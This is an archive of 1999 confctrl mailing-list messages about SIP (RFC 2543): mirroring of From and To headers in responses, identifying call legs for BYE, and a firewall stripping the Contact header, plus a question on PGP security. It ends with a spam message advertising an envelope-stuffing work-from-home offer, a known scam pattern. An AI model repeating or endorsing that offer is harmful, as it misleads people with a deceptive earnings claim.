> > proxied request.
> >
> > -Jonathan R.
> >
> > --
> > Jonathan D. Rosenberg                       Lucent Technologies
> > Member of Technical Staff                   101 Crawfords Corner Rd.
> > High Speed Networks Research                Holmdel, NJ 07733
> > FAX: (732) 834-5379                         Rm. 4C-526
> > EMAIL: jdrosen@bell-labs.com
> > URL: http://www.cs.columbia.edu/~jdrosen
>
> --
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX: (732) 834-5379                         Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen

--
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen






From confctrl-owner  Thu May 20 09:00:45 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA11808
	for confctrl-outgoing; Thu, 20 May 1999 09:00:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA11794
	for <confctrl@zephyr.isi.edu>; Thu, 20 May 1999 09:00:43 -0700 (PDT)
Received: from mw.3com.com (intergate.usr.com [149.112.20.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA13791
	for <confctrl@isi.edu>; Thu, 20 May 1999 09:00:42 -0700 (PDT)
Received: from mwgate02.mw.3com.com by mw.3com.com (8.8.5/3.1.090690-3Com Corporation)
	id LAA22034; Thu, 20 May 1999 11:05:15 -0500 (CDT)
Received: by mwgate02.mw.3com.com(Lotus SMTP MTA v4.6.3 (778.2 1-4-1999))  id 86256777.00589D5B ; Thu, 20 May 1999 11:07:54 -0500
X-Lotus-FromDomain: 3COM@3COM-MWGATE
From: "Anoop Tripathi" <Anoop_Tripathi@mw.3com.com>
To: drosen@dnrc.bell-labs.com
cc: confctrl@ISI.EDU
Message-ID: <86256777.00589CCC.00@mwgate02.mw.3com.com>
Date: Thu, 20 May 1999 11:06:51 -0500
Subject: Re: how to distinguish call leg if both From and To are same
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Sorry Again. You are right the two OKs will have different from and to fields.

I was reading it wrong.

Anoop.
---------------------- Forwarded by Anoop Tripathi/MW/US/3Com on 05/20/99 11:01
AM ---------------------------

Anoop Tripathi/MW/US/3Com
05/20/99 11:04 AM


Sent by:  Anoop Tripathi   -  Software Engineer, Carrier Systems

To:   Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com> @ 3COM-MWGATE
cc:   confctrl@isi.edu@3COM-MWGATE
Subject:  Re: how to distinguish call leg if both From and To are same
      (Document link not converted)

Sorry for confusion.

A BYE  from Originating User Agent will have :

From: sip:<calling number here>@1.1.1.1
To: sip:31222222@2.2.2.2

A BYE from terminating User Agent will have :

From: sip:31222222@2.2.2.2
To: sip:<calling number here>@1.1.1.1


But an OK for both these BYEs will have

From: sip:<calling number here>@1.1.1.1
To: sip:31222222@2.2.2.2


So , if I don't use tag header , I cannot distinguish who sent the OK.

Anoop



Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com> on 05/20/99 09:42:03 AM

Sent by:  Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>


To:   Anoop Tripathi/MW/US/3Com
cc:   confctrl@isi.edu
Subject:  Re: how to distinguish call leg if both From and To are same




(Moving this to confctrl where it belongs)

I don't know how you reach this conclusion from 16.3. The flows there
(none of which are for BYE, by the way), all have To and From mirrored
in the responses. Section 16.4 mentions BYE, but has no response in the
example.

The correct behavior is that the To and From are mirrored in responses,
with the possible addition of a tag in the To field.

-Jonathan R.

Anoop Tripathi wrote:
>
> RFC 2543 Dated March 1999
>
> Section 16.3 :
>
> The message flow shows that for responses the From and To fields are not
> mirrored.
>
> So , I guess to distinguish a call leg , I always need the tag header.
>
> Note: This is a problem only for the 200 OK response for a BYE.
>
> Thanks,
>
> Anoop
>
> Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com> on 05/19/99 10:25:33 PM
>
> Sent by:  Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
>
> To:   Anoop Tripathi/MW/US/3Com
> cc:   sigtran@BayNetworks.COM
> Subject:  Re: how to distinguish call leg if both From and To are same
>
> Same answer. Based on the To and From fields. The response to any
> request mirrors the To and From, with the possible addition of a tag in
> the To field.
>
> -Jonathan R.
>
> Anoop Tripathi wrote:
> >
> > Thanks for clearing my doubt on BYE message call leg finding.
> >
> > Going further on the same question :
> >
> > Now I have one on the 200 Response for a BYE message.
> >
> > On  a proxy,
> >
> > When I get a 200 OK Response for a BYE ,
> >
> > How do I find out which leg of the call sent it.
> >
> > Thanks,
> >
> > Anoop
> >
> > Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com> on 05/14/99 10:33:05 PM
> >
> > Sent by:  Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
> >
> > To:   Anoop Tripathi/MW/US/3Com
> > cc:   confctrl@ISI.EDU
> > Subject:  Re: how to distinguish call leg if both From and To are same
> >
> > Anoop Tripathi wrote:
> > >
> > > Assume an SCN to IP interworking Client ( previously a H323 GW now
runnning
> > SIP
> > > ).
> > >
> > > It registers with proxy server(2.2.2.2)  as
> > >
> > > 847*@1.1.1.1
> >
> > Well, first off, SIP registrations don't support wildcarding like this.
> > If you want to establish routing tables for phone calls (which is what
> > this is) use the Gateway Location Protocol (GLP), not SIP registrations.
> >
> > >
> > > A call arrive on the PRI line for phone number (312)2222222 .
> > >
> > > The SIP Client  sends the request to proxy as follows:
> > >
> > > Request URI : 3122222222@2.2.2.2
> > > Call Id        : 1234
> > >           To :      2.2.2.2
> > >           From :    1.1.1.1
> > >
> > John mentioned that:
> >
> > > Anoop,
> > >
> > >  The BYE request in your example will be as follows if it came from
> > > the calling party:
> > >
> > > Callid         : 1234
> > >           To :      3122222222@2.2.2.2
> > >           From :    847*@1.1.1.1
> >
> > The same basic idea is true for your INVITE. It should look like, from
> > the calling gateway to proxy:
> >
> > INVITE sip:312222222@2.2.2.2 SIP/2.0
> > From: sip:<calling number here>@1.1.1.1
> > To: sip:31222222@2.2.2.2
> > .....
> >
> > and from proxy to terminating gateway (same gateway):
> >
> > INVITE sip:8473333333@1.1.1.1 SIP/2.0
> > From: sip:<calling number here>@1.1.1.1
> > To: sip:31222222@2.2.2.2
> > .....
> >
> > Now, if the terminating gateway sends BYE, the To and From are reversed.
> > If the originating gateway sends BYE, they are the same, as John has
> > mentioned.
> >
> > I should also note that since the calling gateway has a destination
> > number that is a plain phone number, it probably shouldn't append the
> > 2.2.2.2 (which is the proxy address) to get a SIP URI, but rather place
> > a phone URI in the To field instead of the SIP URI, and then let the
> > proxy translate the phone URI (phone:3122222222) into a SIP URI
> > (sip:8473333333@1.1.1.1), which gets place in the Request URI of the
> > proxied request.
> >
> > -Jonathan R.
> >
> > --
> > Jonathan D. Rosenberg                       Lucent Technologies
> > Member of Technical Staff                   101 Crawfords Corner Rd.
> > High Speed Networks Research                Holmdel, NJ 07733
> > FAX: (732) 834-5379                         Rm. 4C-526
> > EMAIL: jdrosen@bell-labs.com
> > URL: http://www.cs.columbia.edu/~jdrosen
>
> --
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX: (732) 834-5379                         Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen

--
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen








From confctrl-owner  Thu May 20 09:18:29 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA19659
	for confctrl-outgoing; Thu, 20 May 1999 09:18:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA19620
	for <confctrl@zephyr.isi.edu>; Thu, 20 May 1999 09:18:25 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA15610
	for <confctrl@isi.edu>; Thu, 20 May 1999 09:18:22 -0700 (PDT)
Received: from scummy.research.bell-labs.com ([135.104.2.10]) by dirty; Thu May 20 12:16:39 EDT 1999
Received: from grubby.research.bell-labs.com ([135.104.2.9]) by scummy; Thu May 20 12:16:32 EDT 1999
Received: from scummy.research.bell-labs.com ([135.104.2.10]) by grubby; Thu May 20 12:15:06 EDT 1999
Received: from scummy.research.bell-labs.com ([135.104.2.10]) by scummy; Thu May 20 12:13:49 EDT 1999
Received: from grubby.research.bell-labs.com ([135.104.2.9]) by scummy; Thu May 20 12:12:33 EDT 1999
Received: from scummy.research.bell-labs.com ([135.104.2.10]) by grubby; Thu May 20 12:11:18 EDT 1999
Received: from scummy.research.bell-labs.com ([135.104.2.10]) by scummy; Thu May 20 12:10:01 EDT 1999
Received: from grubby.research.bell-labs.com ([135.104.2.9]) by scummy; Thu May 20 12:08:44 EDT 1999
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by grubby; Thu May 20 12:07:29 EDT 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id MAA19585;
	Thu, 20 May 1999 12:04:06 -0400 (EDT)
Message-ID: <37442F4C.ABBE68C2@dnrc.bell-labs.com>
Date: Thu, 20 May 1999 11:50:36 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Anoop Tripathi <Anoop_Tripathi@mw.3com.com>
CC: confctrl@ISI.EDU
Subject: Re: how to distinguish call leg if both From and To are same
References: <86256777.005864D9.00@mwgate02.mw.3com.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Anoop Tripathi wrote:
> 
> Sorry for confusion.
> 
> A BYE  from Originating User Agent will have :
> 
> From: sip:<calling number here>@1.1.1.1
> To: sip:31222222@2.2.2.2
> 
> A BYE from terminating User Agent will have :
> 
> From: sip:31222222@2.2.2.2
> To: sip:<calling number here>@1.1.1.1
> 
> But an OK for both these BYEs will have
> 
> From: sip:<calling number here>@1.1.1.1
> To: sip:31222222@2.2.2.2

No. A 200 OK for the first BYE looks like:

SIP/2.0 200 OK
From: sip:<calling number here>@1.1.1.1
To: sip:31222222@2.2.2.2

and for the second BYE:

SIP/2.0 200 OK
From: sip:31222222@2.2.2.2
To: sip:<calling number here>@1.1.1.1

As I have said: *the To and From fields are mirrored in the response to
a request, with the possible addition of a Tag in the To field*.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri May 21 06:47:46 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA29891
	for confctrl-outgoing; Fri, 21 May 1999 06:47:46 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA29869
	for <confctrl@zephyr.isi.edu>; Fri, 21 May 1999 06:47:44 -0700 (PDT)
Received: from omzrelay02.mcit.com (beta.mcit.com [199.249.19.244])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA16496
	for <confctrl@ISI.EDU>; Fri, 21 May 1999 06:47:42 -0700 (PDT)
Received: from omzrelay.mcit.com ([166.37.204.49])
 by firewall.mcit.com (PMDF V5.2-32 #37788)
 with ESMTP id <0FC30055C4TC7E@firewall.mcit.com> for confctrl@ISI.EDU; Fri,
 21 May 1999 13:44:00 +0000 (GMT)
Received: from omzexch007.mcit.com (omzexch007.mcit.com [166.37.194.38])
 by omzrelay.mcit.com (8.8.7/) with ESMTP	id NAA26267; Fri,
 21 May 1999 13:44:43 +0000 (GMT)
Received: by omzexch007.mcit.com with Internet Mail Service (5.5.2571.0)
	id <K03L85H2>; Fri, 21 May 1999 14:43:58 +0100
Content-return: allowed
Date: Fri, 21 May 1999 14:43:57 +0100
From: "Donovan, Steven R." <Steven.R.Donovan@wcom.com>
Subject: RE: SIP: mandatory Contact
To: "'Jonathan Rosenberg'" <jdrosen@dnrc.bell-labs.com>
Cc: Lars Berggren <lars.berggren@intertex.se>,
        Anders Kristensen <ak@hplb.hpl.hp.com>,
        "Hearty, John H." <John.H.Hearty@wcom.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Message-id: <93496446F5EDD211A8C100805FEAD74901C1DD@nsrip00207.mcit.com>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2571.0)
Content-type: multipart/alternative;
	boundary="----_=_NextPart_001_01BEA38F.F9CA40A8"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BEA38F.F9CA40A8
Content-Type: text/plain;
	charset="iso-8859-1"



-----Original Message-----
From: Jonathan Rosenberg [mailto:jdrosen@dnrc.bell-labs.com]
Sent: Monday, May 17, 1999 9:51 PM
To: Donovan, Steven R.
Cc: Lars Berggren; Anders Kristensen; Hearty, John H.;
'confctrl@ISI.EDU'
Subject: Re: SIP: mandatory Contact


> Donovan, Steven R. wrote:
> 
> Yes, I understand the problem. But my point is that the Contact has
> not
> have to be present when the INVITE has been proxied.
> 
> SRD> I don't understand why a proxy should not be able to include a
> contact header in a proxied INVITE message.  I also think that
> removing this requirement for the proxy re-introduces the same problem
> that caused this discussion in the first place.
> 
> SRD> If the proxy that you are talking about is a NAT then why should
> it not be able to include a Contact header.   I understand that it may
> not be the same as the original Contact header.  It should probably be
> contain the URI of the NAT/proxy server itself.  The NAT will be
> saving state for the session anyway, so it should have the ability to
> map the NAT contact header with the original contact header.

The Contact in the INVITE is only needed to route the "last hop" from
the first downstream proxy back upstream to the caller. Proxies and the
UAS don't need to see a Contact. All thats needed for them is a Route
header pointing to the next hop. So, I see no problem if a firewall
removes the Contact (and perhaps some Record-Route headers), so long as
it places a Record-Route for itself in the request, and so long as it
knows how to reconstruct the Record-Route and Contact headers it
removed, when needed. The only hardfast rule is that a UAC/proxy must
always ensure that the next hop, and previous hop, can route requests to
it. This is what mandates insertion of the Contact by a UAC.

SRD> OK, I'll agree that it will work if the firewall removes the Contact
with a couple of provisos.  First, it complicates the called user agent in
that it will be building the Route header for subsequent requests.  With the
stripping of the Contact header, the called user agent will need to
understand that it includes the contents of the Contact in the Route list if
present and doesn't throw-up if it is not present (I agree that it is a
small complication).  Second, it needs to be clear that if the firewall
strips the Contact header then it MUST include a Record-Route header with
its identity.  And finally, I don't understand why the firewall wouldn't add
a new Contact header, replacing the one that it stripped, but this is a
personal preference that I can ignore based on the greater wisdom of the
list.

------_=_NextPart_001_01BEA38F.F9CA40A8
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2569.0">
<TITLE>RE: SIP: mandatory Contact</TITLE>
</HEAD>
<BODY>
<BR>
<BR>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Jonathan Rosenberg [<A =
HREF=3D"mailto:jdrosen@dnrc.bell-labs.com">mailto:jdrosen@dnrc.bell-labs=
.com</A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Monday, May 17, 1999 9:51 PM</FONT>
<BR><FONT SIZE=3D2>To: Donovan, Steven R.</FONT>
<BR><FONT SIZE=3D2>Cc: Lars Berggren; Anders Kristensen; Hearty, John =
H.;</FONT>
<BR><FONT SIZE=3D2>'confctrl@ISI.EDU'</FONT>
<BR><FONT SIZE=3D2>Subject: Re: SIP: mandatory Contact</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>&gt; Donovan, Steven R. wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Yes, I understand the problem. But my point is =
that the Contact has</FONT>
<BR><FONT SIZE=3D2>&gt; not</FONT>
<BR><FONT SIZE=3D2>&gt; have to be present when the INVITE has been =
proxied.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; SRD&gt; I don't understand why a proxy should =
not be able to include a</FONT>
<BR><FONT SIZE=3D2>&gt; contact header in a proxied INVITE =
message.&nbsp; I also think that</FONT>
<BR><FONT SIZE=3D2>&gt; removing this requirement for the proxy =
re-introduces the same problem</FONT>
<BR><FONT SIZE=3D2>&gt; that caused this discussion in the first =
place.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; SRD&gt; If the proxy that you are talking about =
is a NAT then why should</FONT>
<BR><FONT SIZE=3D2>&gt; it not be able to include a Contact =
header.&nbsp;&nbsp; I understand that it may</FONT>
<BR><FONT SIZE=3D2>&gt; not be the same as the original Contact =
header.&nbsp; It should probably be</FONT>
<BR><FONT SIZE=3D2>&gt; contain the URI of the NAT/proxy server =
itself.&nbsp; The NAT will be</FONT>
<BR><FONT SIZE=3D2>&gt; saving state for the session anyway, so it =
should have the ability to</FONT>
<BR><FONT SIZE=3D2>&gt; map the NAT contact header with the original =
contact header.</FONT>
</P>

<P><FONT SIZE=3D2>The Contact in the INVITE is only needed to route the =
&quot;last hop&quot; from</FONT>
<BR><FONT SIZE=3D2>the first downstream proxy back upstream to the =
caller. Proxies and the</FONT>
<BR><FONT SIZE=3D2>UAS don't need to see a Contact. All thats needed =
for them is a Route</FONT>
<BR><FONT SIZE=3D2>header pointing to the next hop. So, I see no =
problem if a firewall</FONT>
<BR><FONT SIZE=3D2>removes the Contact (and perhaps some Record-Route =
headers), so long as</FONT>
<BR><FONT SIZE=3D2>it places a Record-Route for itself in the request, =
and so long as it</FONT>
<BR><FONT SIZE=3D2>knows how to reconstruct the Record-Route and =
Contact headers it</FONT>
<BR><FONT SIZE=3D2>removed, when needed. The only hardfast rule is that =
a UAC/proxy must</FONT>
<BR><FONT SIZE=3D2>always ensure that the next hop, and previous hop, =
can route requests to</FONT>
<BR><FONT SIZE=3D2>it. This is what mandates insertion of the Contact =
by a UAC.</FONT>
</P>

<P><FONT SIZE=3D2>SRD&gt; OK, I'll agree that it will work if the =
firewall removes the Contact with a couple of provisos.&nbsp; First, it =
complicates the called user agent in that it will be building the Route =
header for subsequent requests.&nbsp; With the stripping of the Contact =
header, the called user agent will need to understand that it includes =
the contents of the Contact in the Route list if present and doesn't =
throw-up if it is not present (I agree that it is a small =
complication).&nbsp; Second, it needs to be clear that if the firewall =
strips the Contact header then it MUST include a Record-Route header =
with its identity.&nbsp; And finally, I don't understand why the =
firewall wouldn't add a new Contact header, replacing the one that it =
stripped, but this is a personal preference that I can ignore based on =
the greater wisdom of the list.</FONT></P>

</BODY>
</HTML>
------_=_NextPart_001_01BEA38F.F9CA40A8--

From confctrl-owner  Fri May 21 07:34:21 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA20486
	for confctrl-outgoing; Fri, 21 May 1999 07:34:21 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA20452
	for <confctrl@zephyr.isi.edu>; Fri, 21 May 1999 07:34:17 -0700 (PDT)
Received: from zeus.gel.usherb.ca (zeus.gel.usherb.ca [132.210.70.7])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA18845
	for <confctrl@isi.edu>; Fri, 21 May 1999 07:34:15 -0700 (PDT)
Received: from hviens ([205.237.248.37])
	by zeus.gel.usherb.ca (8.8.8/8.8.8) with SMTP id KAA19698
	for <confctrl@isi.edu>; Fri, 21 May 1999 10:34:13 -0400 (EDT)
Message-Id: <199905211434.KAA19698@zeus.gel.usherb.ca>
X-Sender: 94298898@hermes.usherb.ca (Unverified)
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.1 
X-Priority: 1 (Highest)
Date: Fri, 21 May 1999 10:33:33 -0400
To: confctrl@ISI.EDU
From: Hans Viens <vieh01@gel.usherb.ca>
Subject: SIP security
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi Folks...

I know that RCF 2543 talk about PGP-based security for SIP.  However, I
would like to know what should I do to be fully compatible with this RCF.
Do I have to implement a full PGP package ??  Do I have to implement just
some encryption algorithms ?? (and which are there algorirthms??)

For my part, I would like to implement the minimum requirements to be fully
PGP-based compatible.  This product if for commercial use, so I suppose
that if IDEA and RSA HAVE TO be implement, I'll need a license for those
algorithm....

Well, please help me finding the minimum requirement to be fully PGP-based
compatible in SIP... I'll realy appreciate...

Thanks,

Hans...

From confctrl-owner  Fri May 21 07:43:26 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA24468
	for confctrl-outgoing; Fri, 21 May 1999 07:43:26 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA24453
	for <confctrl@zephyr.isi.edu>; Fri, 21 May 1999 07:43:24 -0700 (PDT)
Received: from hromeo.algonet.se (hromeo.algonet.se [194.213.74.10])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA19422
	for <confctrl@ISI.EDU>; Fri, 21 May 1999 07:43:23 -0700 (PDT)
Received: (qmail 19653 invoked from network); 21 May 1999 16:43:21 +0200
Received: from du186-246.ppp.algonet.se (HELO felix.intertex.se) (195.100.246.186)
  by hromeo.algonet.se with SMTP; 21 May 1999 16:43:21 +0200
Message-ID: <37457167.FE084DA8@intertex.se>
Date: Fri, 21 May 1999 16:44:55 +0200
From: Lars Berggren <lars.berggren@intertex.se>
Organization: Intertex Data AB
X-Mailer: Mozilla 4.06C-Caldera [en] (X11; I; Linux 2.0.35 i686)
MIME-Version: 1.0
To: "Donovan, Steven R." <Steven.R.Donovan@wcom.com>
CC: "'Jonathan Rosenberg'" <jdrosen@dnrc.bell-labs.com>,
        Anders Kristensen <ak@hplb.hpl.hp.com>,
        "Hearty, John H." <John.H.Hearty@wcom.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: SIP: mandatory Contact
References: <93496446F5EDD211A8C100805FEAD74901C1DD@nsrip00207.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Donovan, Steven R. wrote:
> 
...
> 
> SRD> OK, I'll agree that it will work if the firewall removes the
> Contact with a couple of provisos.  First, it complicates the called
> user agent in that it will be building the Route header for subsequent
> requests.  With the stripping of the Contact header, the called user
> agent will need to understand that it includes the contents of the
> Contact in the Route list if present and doesn't throw-up if it is not
> present (I agree that it is a small complication).  Second, it needs
> to be clear that if the firewall strips the Contact header then it
> MUST include a Record-Route header with its identity.  And finally, I
> don't understand why the firewall wouldn't add a new Contact header,
> replacing the one that it stripped, but this is a personal preference
> that I can ignore based on the greater wisdom of the list.

If the firewall replaces the Contact header (with its own address), it
has to keep some sort of state in order to route subsequent requests to
the correct destination.

This works fine, but I believe there are ways for the firewall to
reconstruct the Contact header that does not require state.

For example, as I suggested earlier in this thread, a firewall could
encrypt/encode the address of the Contact header to be removed and
insert it in a Record-Route header before inserting its own address.
This way no state is required in the firewall for routing of subsequent
requests.

/Lars

-- 
Lars Berggren       <lars.berggren@intertex.se>
Intertex Data AB    tel: +46-8-6282828
Sundbyberg, Sweden  fax: +46-8-6286414

From confctrl-owner  Fri May 21 08:10:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA06220
	for confctrl-outgoing; Fri, 21 May 1999 08:10:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA06204
	for <confctrl@zephyr.isi.edu>; Fri, 21 May 1999 08:10:04 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA21319
	for <confctrl@isi.edu>; Fri, 21 May 1999 08:10:02 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Fri May 21 11:09:09 EDT 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id LAA10061;
	Fri, 21 May 1999 11:08:27 -0400 (EDT)
Message-ID: <374573BC.5EE98D1F@dnrc.bell-labs.com>
Date: Fri, 21 May 1999 10:54:52 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: "Donovan, Steven R." <Steven.R.Donovan@wcom.com>
CC: Lars Berggren <lars.berggren@intertex.se>,
        Anders Kristensen <ak@hplb.hpl.hp.com>,
        "Hearty, John H." <John.H.Hearty@wcom.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: SIP: mandatory Contact
References: <93496446F5EDD211A8C100805FEAD74901C1DD@nsrip00207.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Donovan, Steven R. wrote:
> 
> The Contact in the INVITE is only needed to route the "last hop" from
> the first downstream proxy back upstream to the caller. Proxies and
> the
> UAS don't need to see a Contact. All thats needed for them is a Route
> header pointing to the next hop. So, I see no problem if a firewall
> removes the Contact (and perhaps some Record-Route headers), so long
> as
> it places a Record-Route for itself in the request, and so long as it
> knows how to reconstruct the Record-Route and Contact headers it
> removed, when needed. The only hardfast rule is that a UAC/proxy must
> always ensure that the next hop, and previous hop, can route requests
> to
> it. This is what mandates insertion of the Contact by a UAC.
> 
> SRD> OK, I'll agree that it will work if the firewall removes the
> Contact with a couple of provisos.  First, it complicates the called
> user agent in that it will be building the Route header for subsequent
> requests.  With the stripping of the Contact header, the called user
> agent will need to understand that it includes the contents of the
> Contact in the Route list if present and doesn't throw-up if it is not
> present (I agree that it is a small complication).

More importantly, it needs to do this already, since Contact is not
mandatory in RFC2543.

  Second, it needs
> to be clear that if the firewall strips the Contact header then it
> MUST include a Record-Route header with its identity.  And finally, I
> don't understand why the firewall wouldn't add a new Contact header,
> replacing the one that it stripped, but this is a personal preference
> that I can ignore based on the greater wisdom of the list.

The firewall might add a Contact header, sure. The point here is to be
flexible for receiving. This would allow the proxy to do what it needs
to do, and be sure the UAS still behaves correctly.

-Jonathan R.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Sun May 23 04:50:46 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA14461
	for confctrl-outgoing; Sun, 23 May 1999 04:50:46 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA14446
	for <confctrl@zephyr.isi.edu>; Sun, 23 May 1999 04:50:43 -0700 (PDT)
Received: from ns.bigbear.net (lai-ca4-246.ix.netcom.com [209.110.245.246])
	by venera.isi.edu (8.8.7/8.8.6) with SMTP id EAA21986;
	Sun, 23 May 1999 04:47:09 -0700 (PDT)
From: toukol@mindspring.com
Message-Id: <199905231147.EAA21986@venera.isi.edu>
Subject: Homeworkers Needed!
Date: Sun, 23 May 1999 01:15:12
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear Future Associate,

You Can Work At Home & Set Your Own Hours.  Start earning Big 
Money in a short time
       
                                    NO Newspaper Advertising!

Your job will be to stuff and mail envelopes for our company. You 
will receive $.25 for each and every envelope you stuff and mail 
out.

Just follow our simple instructions and you will be making money 
as easy as
1… 2… 3

For example stuff and mail 200 envelopes and you will receive 
$50.00. Stuff and mail 1000 and you will receive $250.00. Stuff 
and mail 2000 and you will receive $500.00 and more 

Never before has there been an easier way to make money from 
home!

Our Company's Home Mailing Program is designed for people with 
little or no experience and provides simple, step by step 
